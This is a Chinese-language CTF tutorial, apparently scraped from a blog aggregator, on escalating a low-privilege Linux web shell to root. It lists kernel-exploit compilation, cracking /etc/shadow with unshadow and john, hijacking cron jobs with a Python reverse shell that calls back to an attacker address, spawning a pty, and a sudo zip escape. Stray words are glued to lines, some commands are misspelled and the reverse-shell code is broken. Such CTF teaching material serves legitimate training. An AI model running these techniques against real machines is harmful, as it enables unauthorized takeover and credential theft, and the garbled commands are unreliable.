CTF中對web服務器各類提權姿式

        在咱們拿下服務器web服務每每只是低權限用戶,對於內網滲透,咱們每每須要root權限,Linux系統提權包括使用溢出漏洞已及利用系統配置文件。python

提權前提:linux

  1.拿到低權限shellweb

  2.被入侵機器上ncpythonperl等常見linux下的工具shell

  3.有權上傳下載文件數據庫

 

1. 利用內核漏洞
通殺內核漏洞十分少見,所以咱們先應對系統相關進行信息收集。安全

利用searchsplotbash

查看發行版本:  服務器

cat /etc/issue ssh

cat /etc/*-releasesocket

lsb_realse -a

查看內核版本:

uname -a

若是具備內核溢出漏洞咱們就上傳溢出代碼,編譯執行

gcc  xxx.c  -o  exploit

chmod +x exploit

./exploit

 

2. 利用明文root密碼提權

Linux密碼大多都和/etc/passwd /etc/shadow 這兩個配置文件有關。Passwd裏儲存了用戶,shadow裏密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫,shadow是僅root可讀寫。

例如 破解linux用戶名和對應密碼

/etc/passwd /etc/shadow

unshadow passwd shadow >cracked

john cracked

 

3. 利用定時計劃任務

經過查看 /etc/crontab 文件,查看其餘用戶是否有設定的系統定時任務,並查看對應對應任務內容,執行的任務確定時對靶場機器的某個文件。

etc/crontab 文件是用來設定系統按期執行任務,須要root權限,不一樣用戶均可以有不一樣定時任務若是在 /etc/crontab 下有某個用戶執行的定時計劃文件,可是具體目錄下沒有這個定時執行的文件,能夠自行建立反彈shell ,用建立的腳本替換原來的py腳本netcat執行監聽得到對應用戶的權限

若是有定時執行任務的文件,能夠切換到對應的目錄,查看對應的權限,查看當前用戶是否具備讀寫權限

import os,subprocess,socket
 
s=socket.socket()
s.connect(("攻擊機ip地址","攻擊機監聽端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess(["/bin/sh","-i "])

 

啓動監聽: nc -nlvp port

 

4. 密碼複用

管理員可能會設置重複使用的密碼,所以可能數據庫或者web後臺的密碼就是root密碼

擁有疑似root的祕密能夠嘗試ssh登陸,若禁止root登陸或被防火牆擋住,咱們就想辦法在低權限上輸入密碼,固然通常狀況下linux會要求用戶必須從終端設備(tty)中輸入密碼,禁止標準輸入,sudo經常不能使用

所以咱們能夠用python模擬一個終端  python -c "import pty;pty.spawn('/bin/bash')"

 

5. 利用zip提權

 使用sudo -l 查看當前用戶可使用的root提權命令信息,發現能夠執行tarzip相關命令。

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
相關文章
相關標籤/搜索